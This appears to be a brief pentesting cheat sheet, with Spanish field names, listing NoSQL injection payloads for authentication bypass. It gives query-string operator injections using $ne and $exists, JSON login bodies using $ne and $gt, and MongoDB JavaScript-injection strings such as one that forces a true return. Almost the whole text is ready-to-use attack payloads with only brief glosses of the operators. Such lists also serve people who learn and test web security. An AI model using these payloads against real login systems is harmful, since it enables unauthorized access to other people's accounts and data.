NoSQL injection (NoSQLi)

Authentication bypass

Query string

usuario[$ne]=noexiste&password[$ne]=noexiste
usuario[$exists]=true&password[$exists]=true

• [$ne] = not equals.

JSON

{"usuario": {"$ne": null}, "password": {"$ne": null} }
{"usuario": {"$ne": "noexiste"}, "password": {"$ne": "noexiste"} }
{"usuario": {"$gt": undefined}, "password": {"$gt": undefined} }

• $ne = not equals.

• $gt = greater.

MongoDB

';return+key;+//+
a'; return(true); var a = 'a